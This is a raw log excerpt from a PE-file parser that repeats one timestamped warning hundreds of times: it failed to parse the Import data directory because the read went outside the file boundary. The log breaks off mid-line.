level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading 